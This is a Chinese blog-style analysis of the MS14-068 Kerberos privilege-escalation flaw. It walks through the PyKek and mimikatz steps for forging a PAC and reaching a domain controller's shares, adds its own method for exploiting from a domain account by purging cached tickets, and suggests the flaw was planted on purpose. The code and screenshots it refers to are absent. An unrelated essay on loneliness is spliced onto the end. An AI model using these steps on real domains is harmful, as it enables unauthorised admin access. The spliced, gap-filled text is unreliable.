自从1024rd发布该漏洞预警后,再也没看到另有分析文章出现,甚至也没有POC,这让我为心目中伟大的1024rd捉急哇,心情低落到极点,所以,自己决心从头开始研究该漏洞。

这样的话,问题又来了,作为不懂Kerberos协议的小白,这个漏洞到底是怎么产生的?

带着种种疑问,我开始了分析之旅,时隔半月,分析完成后,没想到却发现了一个天大的秘密,我从下面几点向大家分析一下关于这个漏洞的方方面面,来揭示这个笔者认为有人精心策划的漏洞。

0×1 Python版PoC的测试利用

首先网上的Python版PyKek,搭建域环境、Python环境,对该漏洞进行了测试:

(1)测试环境

目的:将普通域用户权限提升为域控权限(漏洞利用后,net
use //swg.server.com/c$可以直接访问域控的网络资源)

(2)测试步骤

A.利用域账户domainuser/Dom12345登录普通域机器Win7,获得该域账户的域SID:

B.以本地账户test/123456登录普通域机器Win7,运行PyKek漏洞利用程序:

此时在C:/Users/test文件件会产生MIT格式的TGT文件TGT_domainuser@SERVER.COM.ccache

C.利用mimikatz工具将得到的TGT_domainuser@SERVER.COM.ccache写入内存,创建缓存证书:

利用klist命令能够看到mimikatz创建缓存证书前后的区别。

创建缓存证书之前:

创建缓存之后:

D. 在普通域机器Win7的本地账户中执行:

你会惊奇地发现,不用提供Win2003域控的账号密码就直接可以连接到其C盘,也就是说,现在可以访问Win2003域控机器C盘:

正如宣称的那样,漏洞成功利用后,域用户在不知道域控密码的情况下,可以随意访问域控上的资源,怪不得大家都说,有了这个漏洞,再也不用狂扫密码了。

这是网上普遍转发的一种漏洞利用姿势,需要注意的是,域SID是以域用户登录Win7域机器获得的,而漏洞利用则是在该域机器的本地账户下才能测试成功。如果搭建了测试环境,你会发现,“先用域账户获得SID,然后不得不再登录本地账户测试漏洞”这一过程是多么繁(dan)琐(teng)。

当然,后面会讨论为什么在域账户下无法利用成功,并提出一种绕过方法。

漏洞利用就是这样的,接下来我们分析一下这个漏洞到底是怎样产生的。

0×2 关于Kerberos协议

在谈MS14-068漏洞之前,有必要先了解一下Kerberos协议。

Kerberos协议是一种基于第三方可信主机的计算机网络协议,它允许两个实体之间在非安全网络环境(可能被窃听、被重放攻击)下以一种安全的方式证明自己的身份。

下面我们从Kerberos是如何设计出来的来学习该协议的原理。

这个协议解决的根本问题,假设A和B共有一个秘密,在一个非安全网络环境中,A怎样才能向B证明自己就是A。

最简单的方式就是,A直接将秘密发送给B,由B来判断这个秘密的真伪。但在非安全网络环境中,秘密可能会被窃听或中间人攻击,所以这种方式不可取。

接下来考虑的是,A用秘密作为密钥加密一段文字生成一段密文,然后将文字本身和密文一起发给B,B接收后用秘密解密密文得到文字,然后和接收的文字对比,如果两者一致,那么也能证明秘密的正确性,从而也能验证A的身份。

但如果该认证请求被窃听,攻击者能得到加密后密文和加密前的明文,只要时间允许,总能推导出密钥的数值,也就是秘密肯定会被窃取。所以密码界有个规定,长期存在的密钥不适合在网络中传输,否则总会有被窃取的风险。

不使用长期存在的密钥,那使用短期存在的密钥进行验证应该是没问题的,关键是,谁来提供这个短期存在密钥给A和B?于是就出现了第三方可信机构KeyDistribution Center,KDC。

在请求认证之前,Client-A先去向KDC申请本次向Server-B认证需要的SessionKey,由KDC将SessionKey分发给Client-A和Server-B,最后Client-A就可以利用这个SessionKey向Server-B进行认证了。为了SessionKey不被窃取,该SessioKey用A和B自身的密码分别加密:

这里会有两个问题:

(1)A向KDC申请SessionKey,它可能很快就收到SessionKey,但B可能因为网络环境原因,很晚或者根本收不到SessionKey,这样就导致认证无法进行,解决办法就是,KDC将两份加密的SessionKey都发给A,由A在向B发出认证请求时将原本属于Server-B的SessionKey一同发送给Server-B

(2)A提出SessionKey的申请时,KDC凭什么就生成了SessionKey给了A,也就是说,KDC缺乏对A的认证,所以在分发SessionKey之前,KDC需要增加对A的认证,解决办法就是,将KDC机构分成两部分:

AS:Authentication Service,用于KDC对A的认证 TGS:Ticket Granting Ticket,用于KDC向A和B分发Session Key

另外,还有一点需要注意的是,为了对短期有效的SessionKey进行验证,Kerberos协议要求系统内的所有主机基于时间同步,所以Client-A向Server-B进行认证就不用SessionKey加密一段密文后还得发送一段明文过去,直接用SessionKey加密当前时间即可。

到此为止,整个Kerberos协议大体框架已经出来了:

需要注意的是,这里涉及到两个SessionKey的申请,一个是SessionKeya-kdc,另一个是SessionKeya-b,这是因为基于刚才的三方认证以及尽量使用短期有效密钥的思想,本协议变成了两次三方认证:

(1)AS作为Client-A与TGS之间的第三方,需要完成对A进行认证,同时为Client-A向TGS提出SessionKeya-b请求提供一个SessionKeya-kdc,根据刚才的分析,为了防止TGS无法收到SessionKey,如图第②步,原本需要发往TGS的SessionKeya-kdc(被KDC密码加密为TGT)会一同发往Client-A,由Client-A在第③步中转交给TGS

(2)TGS作为Client-A与Server-B之间的第三方,需要为A和B分别提供SessionKeya-b,为了防止Server-B无法收到SessionKey,如图第④步,原本需要发往Server-B的SessionKeya-b(被Server-B密码加密为service Ticket)会一同发往Client-A,由Client-A在第⑤步中转交给Server-B

上述过程也就是Kerberos协议的基本框架,基于微软对Kerberos的介绍,上面其实对应的是下面微软提供的Kerberos协议流程:

或者你也可以认为,是网上解释MS14-068漏洞时用的这张示意图:

具体来说,Kerberos协议分为以下步骤(第六步可选):

第①步:KRB_AS_REQ:Client-A发送Authenticator向KDC的AS服务认证自己的身份(通过提供自身密码加密的一个时间戳TimeStamp)

第②步:KRB_AS_REP:AS通过KDC数据库中存储的Client-A密码的副本,解密收到的Authenticator,如果解密出的TimeStamp符合要求,则AS服务认为Client-A就是所谓的Client-A。认证成功后,AS服务生成一个短期有效的SessionKeya-kdc,将该Key使用A的密码副本加密成密文1,另外将Key连同时间戳标志(控制该SessionKey的有效时间)通过TGS服务的密码也就是KDC的密码加密为密文2(称为TGT),将这两个密文组合成KRB_AS_REP返回给Client-A

第③步:KRB_TGS_REQ:Client-A在接收到KRB_AS_REP后,首先使用自身密码解密密文1得到SessionKeya-kdc,此时需要注意的是,密文2(TGT)是被KDC的密码加密的,所以Client-A无法解密,这也是Kerberos协议设计的精妙之处,既解决了Server端(TGS相对于Client-A也称之为Server端)无法及时接收SessionKey的问题,又不怕Client-A对该TGT的伪造,因为Client-A不知道Server端的密码

得到SessionKeya-kdc后,Client-A利用其加密时间戳生成Authenticator用于向TGS申请Client-A与Client-B进行认证所需的SessionKeya-b,连同刚才KRB_AS_REP接收的TGT一同组合成KRB_TGS_REQ发送给TGS

第④步:KRB_TGS_REP:TGS在接收到KRB_TGS_REP之后,利用KDC密码解密TGT获得本来就该发送给自己的SessionKeya-kdc,然后用其解密KRB_TGS_REQ中的Authenticator得到Client-A发送过来的时间戳,如果时间戳符合要求,则生成一个短期有效的SessionKeya-b,注意此时利用SessionKeya-kdc将SessionKeya-b加密为密文1,然后利用Server-B的密码将SessionKeya-b加密为密文2(称为ServiceTicket),两个密文一同构成KRB_TGS_REP返回给Client-A

第⑤步:KRB_AP_REQ:Client-A在接收到KRB_TGS_REP之后,首先使用缓存的SessionKeya-kdc将密文1中的SessionKeya-b解密出来,然后利用其加密时间戳生成Authenticator用于向B进行对自身的验证,另外,和刚才TGT一样,密文2也就是ServiceTicket是用Server-B的密码加密的,所以Client-A无法解密,也就无法伪造,这也同样解决了在三方认证中作为Server端的B无法及时接收SessionKey的问题,又不怕Client-A对ServiceTicket的伪造

第⑥步:KRB_AP_REP:Server-B受到KRB_AP_REQ之后,利用自身密码解密ServiceTicket,得到SessionKeya-b,然后用SessionKeya-b解密Authenticator得到时间戳,验证A的身份

这就是整个Kerberos协议的基本流程。

0×3 PAC与Kerberos的关系

上面是标准Kerberos协议的基本流程,MIT也实现了一套标准的Kerberos协议,而微软在Windows平台上的Kerberos并没有采用MIT的实现,而是对Kerberos协议进行了一些扩充,其中最重要的扩充就是增加了认证过程中的权限认证,也就是在协议中增加了PAC(Privilege
Attribute Certificate),特权属性证书。

为什么会增加这些呢?可以这样理解,当用户Client-A与Server-B完成认证,只是向Server-B证明了Client-A就是所谓的Client-A,但此时Client-A如果需要访问Server-B上的网络资源,但Server-B现在其实并不知道Client-A是否有访问自身网络资源的权限(Kerberos协议中并没有规定权限问题)

难不成此时Server-B必须再向KDC验证Client-A是否有访问网络资源的权限?当然不是,微软实现Kerberos认证协议的同时巧妙地引入了PAC解决了这个问题。(至少MS14-068漏洞之前大家是这样认为的)

在一个域中,如何才能知道某个域用户所拥有的权限呢?自然是需要提供User的SID和所在组Group的SID。必须了解的一个前提是,KDC、A和B三者中,B只信任KDC所提供的关于A到底是什么权限,所以在一个域初始时,KDC上拥有A和B的权限。现在需要解决的是,KDC必须告诉B关于A的权限,这样B验证A的权限后才能决定让不让A访问自身的网络资源。

为了最终使得Server-B能知道Client-A所具有的权限,微软在KRB_AS_REP中的TGT中增加了Client-A的PAC(特权属性证书),也就是Client-A的权限,包括Client-A的User的SID、Group的SID:

可以看到被KDC加密的TGT中,不仅包括了被加密的Session
Keya-kdc,还包括KRB_AS_REQ中申请者(Client-A)的权限属性证书,为了防止该特权证书被篡改(即使被KDC加密,Client-A无法轻易解密,但谁也无法保证绝对的安全),在PAC的尾部增加了两个校验Server Signature和KDC Signature:

这两个校验一个是Server Signature,另一个是KDC Signature,对于Client-A与AS服务来说,Server代表的是TGS服务,KDC代表的是AS服务(AS作为Client-A与TGS的第三方信任机构),而AS服务与TGS服务具有相同的krgtgt账号,所以这两个校验都是krgtgt账号的密码生成的,当然,整个TGT也是用KDC的密码也就是krgtgt账号密码加密的,它们三者不同的是,用的算法和加密内容有所不同。

微软是这样打算的,无论如何也要把PAC从KDC传送到Server-B,为了在Kerberos认证过程中实现,微软选择了如下做法:

将PAC放在TGT中加密后从AS服务经Client-A中转给TGS服务,再放在由TGS服务返回的Service
Ticket中加密后经Client-A中转给Server-B

需要注意的是,在KRB_TGS_REQ阶段,携带PAC的TGT被TGS服务接收后,认证A的合法性后(解密Authenticator符合要求)会将PAC解密出来,验证尾部两个签名的合法性,如果合法则认为PAC没有被篡改,于是重新在PAC的尾部更换了另外两个签名,一个是Server Signature,这次是以Server-B的密码副本生成的签名(因为对于Client-A和Server-B,这次的第三方机构是TGS服务),另外一个是KDC Signature,这次不再使用KDC的长期有效的Key,而是使用在AS阶段生成的短期有效的SessionKeya-b,(网上说的是第二个签名仍旧是KDC Key,但如果用KDC中krgtgt账号密码生成签名,最后转发给Server-B后,由于没有krbtgt的密码而无法验证第二个签名的正确性,所以这里用SessionKeya-b生成签名才是合理的,或许这里理解错了,敬请指出)最终成为New Signed PAC被拷贝在ServericeTicket中被加密起来。

最终绕过来绕过去,KDC上所拥有的关于Client-A的权限证书PAC终于发给了Server-B,Server-B在对Client-A进行认证的同时,同时也能判断Client-A有没有访问网络资源的权限。

到这里PAC与Kerberos协议的关系也就明朗了。

0×4 从Pykek源码分析MS14-068漏洞

现在切入正题,开始研究MS14-068漏洞的产生。

首先看一下微软关于MS14-068公告板:

This security update resolves a privately reported vulnerability in Microsoft Windows Kerberos KDC that could allow an attacker to elevate unprivileged domain user account privileges to those of the domain administrator account. An attacker could use these elevated privileges to compromise any computer in the domain, including domain controllers. An attacker must have valid domain credentials to exploit this vulnerability. The affected component is available remotely to users who have standard user accounts withdomain credentials;this is not the case for users with local account credentialsonly.

仔细看看,其实这个公告板就是说了这个洞的危害,可以把没有域控权限的普通域用户提权为域控权限。另外,网上也有两种对该漏洞产生原因的说法:

从客户端解释:

当用户进行登录身份验证服务,服务会验证PAC中的签名,并使用PAC中的数据为用户创建一个登录令牌。譬如说,如果PAC能够携带有效的签名表明“Secpulse”是“域管理”安全组的成员,那么创建的登录令牌就将Secpulse当作“域管理”组中成员。这样的Kerberos认证存在问题,攻击者可以伪造身份,从域用户提升到域管理权限。

从服务端解释:

微博@jacktang310 程序员在实现KDC服务器的PAC signature时没有严格控制使用checksum的算法,在原来的设计中要用到HMAC系列的checksum算法,也就是必须要有key的参与,但实现的时候允许所有的checksum算法都可以,包括MD5,这样客户端就可以伪造PAC的包了。

从上面的说法来看,该漏洞利用是通过客户端来伪造高权限的PAC产生的,但根据前面对PAC与Kerberos关系的分析,貌似没有破绽来说明客户端有机会伪造PAC,那到底是怎么回事呢?带着这个疑惑,我开始分析了Github上很火的PyKek攻击包源码。

首先,在0×1小节POC代码测试步骤C中,使用Pykek攻击包期间利用Wireshark抓包如下:

mimikatz在内存新建缓存证书后,net
use过程中的抓包如下:

看到抓包结果,我立即产生了两个疑惑:

(1)传说中Kerberos协议中的KRB_AP_REQ和KRB_AP_REP过程哪里去了? (2)为什么会产生两次TGS_REQ和TGS_REP过程??

第一个问题的原因很好解决,查阅资料得知,由于Kerberos协议是一种认证网络协议,它通常是其它网络有关协议的前提,比如说SMB、FTP等,在SMB等协议的实现中SMB第一个请求包实际上会包含KRB_AP_REQ,这也就是协议整合吧,我们通过打开第一个SMB请求的数据包就可发现:

而第二个问题,到底为什么会产生两次TGS_REQ和TGS_REP过程,这个疑惑基本是我在全部分析完整个漏洞才搞懂的,但它却影响了我整个分析过程,下面一点点向大家解释。

既然网上都说,本次漏洞利用是通过客户端伪造高权限PAC产生的,那PyKek工具产生的AS_REQ、AS_REP和TGS_REQ、TGS_R
EP过程中肯定有端倪,下面我们从PyKek源码仔细分析一下

可以看到,真个漏洞利用过程经历了以下几步:

不知道你是否注意,接收AS_REP后,能解密得到TGT,但接收TGS_REP后,却同样接收的是TGT,这是怎么回事?原理上不是说TGS_REP之后,Client端接收的是ServiceTicket吗?其实这就是该漏洞的根源,下面根据源码逐步分析一下具体过程。

0×4.1 构造AS_REQ

首先看一下AS_REQ的构造过程,这里是代码主体:

上面对于AS_REQ的构造,主要用current_time和Key构造了用于提交给AS服务验证的Authenticator,另外,却增加了一个include-PAC标志,通过查看源代码,发现该include-PAC标志被设置为了false:

查阅资料得知,微软在实现PAC的过程中,特意增加了一个include-PAC标志,通常情况下,AS_REQ请求中如果该标志被设置为true,只要AS服务对Client-A通过认证,那么会在返回的AS_REP数据包中的TGT中加入PAC信息;而如果在AS_REQ请求时,include-PAC标志被设置为false,那么AS_REP返回的TGT中就不会包含PAC信息。

这一点,我们在刚才Wireshark抓包中显示AS_REQ数据包和AS_REP数据包的大小就可以看出来(通常携带PAC信息的AS_REP数据包可以达到上千字节)。

0×4.2 接收AS_REP

将AS_REQ发送给KDC后,KDC按照协议规定将会返回两个东西:利用user_key加密的Session
Keya-kdc和被KDC密码加密的TGT(不包含PAC信息)。下面我们看一下PyKek是如何接收AS_REP并解密的:

具体对session_key的解密也和之前的原理类似:

根据上面的接收过程,并参考Wireshark对AS_REP的截图更形象地理解整个解密过程:

0×4.3 构造PAC及TGS_REQ

之后,PyKek就开始了最重要的一步:构造PAC并放入TGS_REQ中。下面是整个过程:

分别看一下两个过程。

0×4.3.1 构造PAC

由于前面我们学习了PAC的整个结构,所以不难看出来该地方构造的PAC由三部分组成:

1. User SID & Group SID 2. Chksum of Server_key 3. Chksum of Kdc_key

通过深入跟踪源码,可以看出,User
SID & Group SID的构造中,其实是将该域用户的SID截断,留取前面的部分:

然后构造高权限的User
SID & Group SID:

对于后面两个chksum的构造:

由前面的定义可知:

可以很容易看出,这里直接用不需要Key的MD5构造的签名。也就是说什么什么意思呢,只要用户构造了前面的data(User
SID & Group SID),只需对data进行MD5运算,生成一个32位的MD5值即可。

服务端对于MD5签名又是如何验证的呢?它只需要将前面的data取出来,进行MD5运算,如果得到的MD5值,与后面的签名一致,则认为该签名合法。

但是,到这里,可能会有疑问,关于PAC尾部的签名,不是说需要server_key和kdc_key的参与吗?这就是微软犯的第一个错误:

在KDC机构对PAC进行验证时,对于PAC尾部的签名算法,虽然原理上规定必须是带有Key的签名算法才可以,但微软在实现上,却允许任意签名算法,只要客户端指定任意签名算法,KDC服务器就会使用指定的算法进行签名验证。

所以PyKek在客户端的攻击代码中很巧妙地利用了这个漏洞,规定使用不需要Key的MD5进行签名,只要签名构造的User
SID & Group SID权限信息在传输过程中不改变,那么服务端肯定能验证通过。

那肯定有人还有疑问,PAC不是被放在TGT中吗?但根据include-PAC标志设置为false后,AS_REP解密得到的TGT是不携带PAC信息的,难不成要把构造的PAC放在TGT中?但TGT是被KDC密码加密的,客户端根本无法解密。

这就是微软犯的第二个错误:

PAC没有被放在TGT中,而是放在了TGS_REQ数据包的其它地方。但可笑的是,KDC在实现上竟然允许这样的构造,也就是说,KDC能够正确解析出没有放在其它地方的PAC信息。

下面我们通过TGS_REQ的构造过程来看一下这个错误。

0×4.3.2 构造TGS_REQ

调用:

定义:

通过上面的构造过程,结合Wireshark对TGS_REQ的截图:

可以得知,PAC被放在了TGS_REQ数据包中的REQ_BODY中,被subkey加密了,而TGT被放在REQ_BODY前面的PADATA中,这也就是说,TGT中没有携带PAC信息,并且可以注意到,TGS_REQ中也设置了include-PAC标志信息为false。

另外得知,PAC信息被subkey加密,我们看一下subkey的来源:

subkey竟然是Client端生成的一个随机数!

PyKek为了使得KDC能够解密获取被加密在REQ_BODY中的PAC信息,也一并把这个生成的subkey随机数放在TGS_REQ数据包中的Authenticator发给了KDC服务器。

在KDC接收TGS_REQ后,可笑的是,它
可以把PAC信息给解密出来了,并且由于微软犯的第一个错误:允许任意加密算法的签名,很明显,该PAC信息会被验证为合法的PAC信息。

也就是说,微软所犯第二个错误触发的两个关键:

(1)在TGS_REQ的REQ_BODY中放上被加密的PAC信息,并把加密用到的Subkey放到Authenticator中

(2)TGS_REQ数据包中的include-PAC标志被设置为false

只要按照上面的要求构造TGS_REQ数据包,KDC就会“错误地”将PAC信息解密并验证签名正确性,但你以为这样就完了吗?接下来,还有更令人吃惊的事情会发生。

0×4.4 接收TGS_REP

下面是具体解密的实现过程:

根据Kerberos协议原理可知,在返回的TGS_REP中,TGS服务会返回给Clinet-A两个东西:被SessionKeya-kdc加密的SessionKeya-b,另外一个是Service
Ticket,但从上面解密的过程中,Client-A解密获取SessionKeya-b竟然用的是Subkey,而我们知道,subkey是一个客户端随意生成的随机数,这到底是怎么回事?

起初,我也很是疑惑,甚至都想放弃,因为实在分析不下去了,自己分析的过程和协议原理竟然有着这么多不同,我也怀疑过PyKek作者是不是写错了,但通过无数次的查找资料,终于在国外一个安全博客上找到了说法,这也是微软犯的第三个令人吃惊的错误:

只要TGS_REQ按照刚才那两个要求设置,KDC服务器会做出令人吃惊的事情:它不仅会从Authenticator中取出来subkey把PAC信息解密并利用客户端设定的签名算法验证签名,同时将另外的TGT进行解密得到SessionKeya-kdc;

在验证成功后,把解密的PAC信息的尾部,重新采用自身Server_key和KDC_key生成一个带Key的签名,把SessionKeya-kdc用subkey加密,从而组合成了一个新的TGT返回给Client-A

没错,是重新生成一个TGT,而不是ServiceTicket。

如果你对前面对协议的介绍,很容易知道,TGT原本是通过AS_REP过程返回给Client-A的,而现在“毁人三观”的事情发生了,在TGS_REP过程中,KDC竟然返回个Client-A一个TGT。

到这里就明白了,PyKek攻击包中TGS_REP过程接收的其实是TGT,SessionKey为SessionKeya-kdc。

最终,这个TGT和SessionKeya-kdc制作成了TGT_domainuser@SERVER.COM.ccache文件。

而接下来观察mimikatz工具创建的内存证书,也可以验证上述微软所犯的第三个错误:

利用TGS_REP接收的Ticket和Session
Key创建的内存证书,其Server为krbtgt/SERVER.COM,再根据我们队两次三方认证的理解,很容易就知道这是AS_REQ和AS_REP过程中才会将Server端认定为krbtgt,也就是说,接收的Ticket实质为TGT。

这样就能理解为啥net use时,会再多一次TGS_REQ和TGS_REP过程了,因为漏洞利用过程中的TGS_REQ和TGS_REP所完成的并不是申请ServiceTicket,而是通过“畸形”TGS_REQ请求申请的另外一个伪造后又增加了PAC信息的TGT,所以在net use之前必须再进行一次TGS_REQ与TGS_REP过程,利用缓存的TGT证书,申请用于net use(其Server为cifs)的ServiceTicket,这里从net use成功后,klist命令增加的内存证书中可以验证这一现象:

对于缓存证书,这里根据微软的说明,可以补充一点背景知识:

Credentials Cache The credentials cache is managed by the Kerberos SSP, which runs in the LSA&#039;s security context. Whenever tickets and keys need to be obtained or renewed, the LSA calls the Kerberos SSP to accomplish the task. From the client&#039;s point of view, a TGT is just another ticket. Before the client attempts to connect to any service, the client first checks the user credentials cache for a service ticket to that service. If it does not have one, it checks the cache again for a TGT. If it finds a TGT, the LSA fetches the corresponding logon session key from the cache, uses this key to prepare an authenticator, and sends both the authenticator and the TGT to the KDC, along with a request for a service ticket for the service. In other words, gaining admission to the KDC is no different from gaining admission to any other service in the domain—it requires a session key, an authenticator, and a ticket (in this case, a TGT).

也就是说,net use之前,系统会从Credentials
Cache中查看是否有ServiceTicket,如果没有则寻找TGT,找到后就发送给KDC申请ServiceTicket。

到这里,整个漏洞的原因就清晰了。

0×5 铁证如山:这是谁的精心策划

下面我们总结一下通过上面的分析找到的微软所犯的三个错误:

第一个错误:

在KDC机构对PAC进行验证时,对于PAC尾部的签名算法,虽然原理上规定必须是带有Key的签名算法才可以,但微软在实现上,却允许任意签名算法,只要客户端指定任意签名算法,KDC服务器就会使用指定的算法进行签名验证。

第二个错误:

PAC没有被放在TGT中,而是放在了TGS_REQ数据包的其它地方。但可笑的是,KDC在实现上竟然允许这样的构造,也就是说,KDC能够正确解析出没有放在其它地方的PAC信息。

第三个错误:

只要TGS_REQ按照刚才漏洞要求设置,KDC服务器会做出令人吃惊的事情:它不仅会从Authenticator中取出来subkey把PAC信息解密并利用客户端设定的签名算法验证签名,同时将另外的TGT进行解密得到SessionKeya-kdc;

在验证成功后,把解密的PAC信息的尾部,重新采用自身Server_key和KDC_key生成一个带Key的签名,把SessionKeya-kdc用subkey加密,从而组合成了一个新的TGT返回给Client-A

在我分析出来这些之后,我感到深深地震惊,这个漏洞的产生真实太不可思议了,明明PAC需要放在TGT中,而微软添加了一个include-PAC标志设置为false两次后,就能导致PAC可以放在其它地方;明明是需要key的签名,微软却允许任意签名算法,包括不带key的;明明是TGS_REP返回的是ServiceTicket,微软却根Kerberos协议开了天大的玩笑,返回了一个TGT。

我只想说,这(TMD)得需要多么大的疏忽,才能让微软的员工犯下如此“巧妙的”错误,而且这个漏洞的触发真的是(TMD)太需要技巧了。

到这里,我只能以一个疑问结束我的震惊:这是谁的精心策划?答案留给读者思考吧。

0×6 干货:如何突破“本地账户才能漏洞利用”的限制

按照网上的测试,该漏洞一般用域用户的本地账户会利用成功。

但如果做过这个漏洞测试的童鞋肯定明白,首先必须登录域用户得到其在域中的SID(如果大家知道如何在本地账户下得到域用户的SID,请告知我!@#¥%……&*)

然后再登录本地账户测试漏洞,这是一件多么蛋疼的事情,于是,基于这个问题,我开始分析为什么在域用户下该漏洞无法利用成功。

当然,我在域用户下也测试过这个漏洞,当然,起初是不成功的。但利用PyKek是可以生成TGT_domainuser@SERVER.COM.ccache,并且mimikatz也可以将该文件写进缓存证书,也就是说TGT在域用户下可以被写入内存作为缓存证书。那问题出在哪里呢?net
use命令肯定没问题,最终我把问题定位在了缓存证书上。

为什么这样说呢?是因为偶然的一次测试中,我发现了一个奇怪的现象:

在本地账户中没有使用mimikatz向内存注入缓存证书之前,其内存中的缓存证书个数为0,而用mimikatz注入之后,变成1个,net
use之后,变为2个。

也就是说,net
use后会产生一个ServiceTicket被放进内存中。这点没有什么变化。

而当我在域用户下做类似测试时,却惊奇地发现:

在域用户中没有使用mimikatz向内存注入缓存证书之前,其内存中的缓存证书个数是4个,如下面:

而当我使用mimikatz注入缓存证书以后,变为:

可以发现,之后TGT改变了,后面的三个缓存证书没有改变(第二个就是net
use所使用的Service
Ticket)

这里我突然又想到了缓存证书的作用:

net
use之前,系统会从Credentials
Cache中查看是否有ServiceTicket,如果没有则寻找TGT,找到后就发送给KDC申请ServiceTicket。

也就是说,mimikatz工具注入后,改变的是TGT,但net
use使用的ServiceTicket没有被修改,还是域用户登录时生成的普通域用户权限的ServiceTicket,而根据对本地账户中测试的了解,起初内存中是没有net
use的ServiceTicket对应的缓存证书的,而是注入后,net
use重新生成的缓存证书。

那关键就来了,有没有办法在域用户环境中清除net
use需要用到的普通域用户权限的ServiceTicket对应的缓存证书,然后注入漏洞利用生成的高权限TGT,最后由net
use重新生成一个高权限的ServiceTicket对应的缓存证书(本地账户漏洞利用过程就是这样的)?

于是,我怀着好奇的心理,阅读了列举缓存证书的命令klist,果然发现:

果然发现purge这个单词,经Google翻译,为“清除”之意,心中窃喜,于是在域用户下使用该命令:

果然,缓存证书被清空了,那接下来就好办了,再次利用mimikatz注入高权限TGT的缓存证书,然后执行:

你会发现,在域用户下,该漏洞也是可以利用的!

[

一个人,你孤独吗

网上热传一个贴子,是孤独的十个层级:

一等孤独:一个人逛超市

二等孤独:一个人上快餐厅

三等孤独:一个人上咖啡厅

四等孤独:一个人上电影院

五等孤独:一个人吃火锅

六等孤独:一个人去上海

七等孤独:一个人去游乐场

八等孤独:一个人去KTV

九等孤独:一个人搬家

十等孤独:一个人做手术

我感觉所有的孤独是分不出层次的,因为都是一个人,一个人喝咖啡未必比一个人做手术好多少,孤独的心,汹涌的海是一样的孤独。

”姑娘来看演出,看完演出直接付了次日观看下午场和晚上场的两场座位票,她说为了我推迟了一天回程。又一位姑娘一早来到平江路等我们店开门,没想到我们店要下午才开门,听说晚上演出更精彩她又等到了晚上。晚上演出结束合影,姑娘说:老师,为了看你的演出我在平江路等了你整整一天……唉!我只希望这些姑娘们以后有人陪着她们一起来,孤身只影的女子太多,看得我都心疼。”

这是苏州平江路伏義昆曲会馆吕成芳老师发的朋友圈。一个女子,一个人听戏,这是几等孤独?虽然吕老师“心疼”,但三毛说“学着主宰自己的生活。即使孑然一身,也不算一个太坏的局面。不自怜、不自卑、不怨叹,一日一日来,一步一步走,那份柳暗花明的喜乐和必然的抵达,在于我们自己的修持。”

就是跑步,糖也跑出了名堂,竞然跑完了全程马拉松,原本那么文艺的糖竞蜕变成一个跑者,多少让我惊讶。

我这个人是那种喜爱独处的性情,或说是那种不太以独处为苦的性情。每天有一两个小时跟谁都不交谈,独自跑步也罢,写文章也罢,我都不感到无聊。和与人一起做事相比,我更喜欢一个人默不作声地读书或全神贯注地听音乐。只需一个人做的事情,我可以想出许多来。村上春树在《当我跑步时我谈些什么》说的就是她吧。

你必须很喜欢和自己作伴 。好处是:你不必为了顺从别人或讨好别人而扭曲自己 。一个人的世界,不必顺从,不必讨好,做喜欢的事,哪怕是发呆也那么惬意。 ​这也是糖较之工作享受当前这种状态的主要原因吧。

来到海南鹭湖已经又有几天了,老同学问我是不是有点孤独了,因为此时正是淡季,候鸟老人都回老家了,若大的园区真是十分静谧。我笑笑说,那里会。是呀,自从公司和自己身体出了状说,我过这种自由散漫的日子已经有一段时间了。和以前那种热热闹闹的日子相比,还真没有感觉这种孤独有那里不好。

正如余华说的那样:我不再装模作样地拥有很多朋友,而是回到了孤单之中,以真正的我开始了独自的生活。有时我也会因为寂寞而难以忍受空虚的折磨,但我宁愿以这样的方式来维护自己的自尊,也不愿以耻辱为代价去换取那种表面的朋友。

在光芒万丈之前,我们都要欣然接受眼下的难堪和不易,接受一个人的孤独和偶尔的无助。 ​​​​有时候孤独是好事,一个人就自己多长本事,多看世界,多走些路,把时间花在正事上,变成自已打心底喜欢的那种人。

来到鹭湖,认识了冰姐。当所有人都选择了回老家过夏天,但冰姐留了下来。不但留了下来,还成立了个人艺术工作室。那天和她聊天,她说一天过的好快,画副画,一个上午就过去了,沏杯茶,一个时辰就过去了,看会书,太阳就落山了。

“有一天我们也长成了成年人,这才知道,孤独是人生中一种自觉的独处,而不是惩罚,不是受伤者的退隐,也不是怪癖,而是作为一个人生活的唯一、真正的存在状态。知道这些后,就不会那么困难地忍受它了,你会感觉自己呼吸着清新的空气,活在一个辽阔的空间里。”

冰姐向我介绍她的好茶和美器,一个人将日子过得如此滋润和自由,更让人心生羡慕。只有当一个人独处的时候,他才可以完全成为自己。谁要是不热爱独处,那他也就是不热爱自由,因为只有当一个人独处的时候,他才是自由的。 叔本华如此论述独处。

如果世间真有这么一种状态:心灵十分充实和宁静,既不怀恋过去也不奢望将来,放任光阴的流逝而仅仅掌握现在,无匮乏之感也无享受之感,不快乐也不忧愁,既无所求也无所惧,而只感受到自己的存在,处于这种状态的人就可以说自己得到了幸福。别人眼中的孤独,可能就是自已心中的幸福。所以吕老师也不必为那两个形单影支的姑娘“心疼”了,幸福如水,冷暖自知。

每个人的生命都在孤单中成就,来的时候一个人,离开的时候也是一人, 没有人会陪着你一起来到这个世界,也没有人会一直陪着你走到生命的尽头。路途中的风景再多,能与你共的人也只有那么几个,只有自己一路跟随,而其他人 ,总会随着时空的转变而改变轮换。如同过客般匆匆出现,又急急走远 。当生活没有了更多的感动和惊喜,孤单就是你最大自由。

一个人,你孤独吗?